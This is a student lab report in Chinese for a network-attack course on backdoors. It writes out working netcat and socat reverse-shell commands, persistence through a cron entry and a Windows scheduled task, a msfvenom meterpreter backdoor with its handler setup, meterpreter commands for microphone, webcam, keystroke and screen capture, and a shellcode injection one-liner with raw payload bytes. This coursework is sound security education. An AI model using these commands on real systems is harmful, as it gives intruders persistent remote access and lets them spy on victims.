2019-2020-2 20175302闫君廷《网络对抗技术》 Exp2 后门原理与实践

一、实验目标

  1. 熟悉后门的概念
  2. 使用netcat实现win,linux之间的后门连接
  3. 掌握meterpreter的应用
  4. 了解MSF POST 模块的应用
  5. 学会win,linux的后门启动方式

二、预备知识

后门概念

  • 所谓后门,就是不经过正常认证流程而访问系统的通道。
  • 后门宿主:
  • 编译器留后门
  • 操作系统留后门
  • 应用程序中留后门
  • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

后门工具

  • netcat:又名nc或ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

  • soCat:Netcat++,超级netcat工具。
    任何代理、转发等功能都可以用该工具实现。

  • Meterpreter:msfvenom生成的后门可执行文件。
    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
    Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

三、实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用socat获取主机操作Shell,任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
  

四、实验步骤

0. ncat学习

Windows获取Linux Shell

主机中win+R运行cmdipconfig查看IP地址为192.168.0.106

ncat.exe -l -p 5302主机运行ncat.exe开始监听端口5302

nc 192.168.0.106 5302 -e /bin/shKali中使用ncat -e选项执行Shell

Windows成功获取Kali的Shell

Linux获取Windows Shell

Kali中ifconfig查看IP地址为192.168.0.108

nc -l -p 5302Kali开始监听5302端口
ncat.exe -e cmd.exe 192.168.0.108 5302Widows开始连接Kali运行cmd.exe

Kali成功获取Windows CMD

nc 传输数据

Wiodowsncat.exe -l 5302Wiodows监听5302端口
Kalinc 192.168.0.106 5302连接端口
建立连接后可以互相发送信息。

nc 传输文件

Windowsncat.exe -l 5302 > receive监听5302端口并把数据保存到receive文件中。
Kalinc 192.168.0.106 5302 < send 连接到Windows 5302端口,发送send文件
将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5302端口,Windows连接kali的5302端口,建立成功后,kali可以收到Windows发来的文件

1. 使用netcat获取主机操作Shell,cron启动

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似
Windows下监听端口5302
Linux下crontab -e+3进入编辑模式

crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表我们可以在以下文件夹内找到相关配置文件。
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

在最后一行添加04 * * * * /bin/netcat 192.168.0.106 5302 -e /bin/sh,因为现在时间为9:59分,所以我设置了04,表示每小时的第4分钟执行指令。

可以在10:04分时看到Wiodows中获得了Linux的Shell

2. 使用socat获取主机操作Shell,任务计划启动

下载socat
打开计算机管理,在任务计划程序创建任务,填写任务名称。
新建操作,程序或脚本选择socat.exe,添加参数填写tcp-listen:5302 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5302,同时把cmd.exe的stderr重定向到stdout上

新建触发器,设定时间为现在时间后的几分钟。
socat - tcp:192.168.0.106:5302在Kali中连接到主机5302端口。

时间到达设定时间后socat.exe自启动,获取Shell成功

3. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

在Kali中运行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5302 -f exe > 5302exp2_backdoor.exe生成后门程序5302exp2_backdoor.exe

Wiodowsncat.exe -lv 5302 > 5302exp2_backdoor.exe可以看到版本信息与当前连接状态
Kalinc 192.168.0.106 5302 < 5302exp2_backdoor.exe发送后门程序到Windows。

Windows显示连接信息。
1.Kali中msfconsole进入msf控制台

2.use exploit/multi/handler使用监听模块,设置payload

3.set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

4.set LHOST 192.168.0.108生成后门程序时指定的IP

5.set LPORT 5302生成后门程序时指定的端口

6.show options查看设置信息

exploit开始监听,在Windows中启动接收的后门程序,监听成功。
可以直接输入命令或者使用shell获取主机Shell

4. 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

record_mic -d 5指令可以截获一段时长5s的音频,录制完毕自动输出保存路径

webcam_snap指令可以使用摄像头进行拍照,拍摄完毕自动输出保存路径,并自动打开图像

keyscan_start指令可以记录下击键的过程,keyscan_dump则用于读取击键记录

screenshot指令可以进行截屏

getuid指令可以查看当前用户,getsystem指令进行提权操作

5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

下载反弹连接的Shellcode
因为我kali使用的是上次实验一结束后的快照进行本次实验,所以无需再进行环境配置。
xxd input_shellcode查看实验一中写入的地址。
将反弹连接Shellcode放入perl -e 'print "A" x 32;print"\xc0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input

重新配置msf监听
use exploit/multi/handler,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置IP为回环地址
set LPORT 4444,根据代码设置端口
exploit ,设置完成开始监听
(cat input;cat) | ./pwn1再另一个终端将input输入
这时在msf控制台可以看到已经成功调取了shell

五、基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 下载了带有后门的文件。

2.例举你知道的后门如何启动起来(win及linux)的方式?

  • 绑定一个程序,程序启动同时启动了某项服务。

3.Meterpreter有哪些给你映像深刻的功能?

  • 全部都很深刻,特别是把我拍得很丑的摄像头功能功能,监听键盘键入很容易就可以获取密码,搭配上截屏就能知道是什么网的,用户名是什么,很容易泄露隐私和重要数据。

4.如何发现自己有系统有没有被安装后门?

  • 及时更新病毒库
  • 查看端口开放情况,关闭多余端口
  • 查看服务,注册表等状态。

六、实验总结与体会

本次实验基本根据视频完成,然后也切实认识到了后门的厉害。但是有些地方可能还没有完全理解,比如回环地址和4444端口的监听并不明白是为什么,提权操作应该是失败的,也不知道为什么。

猜你喜欢

转载自www.cnblogs.com/Jerrold-Y/p/12485349.html
今日推荐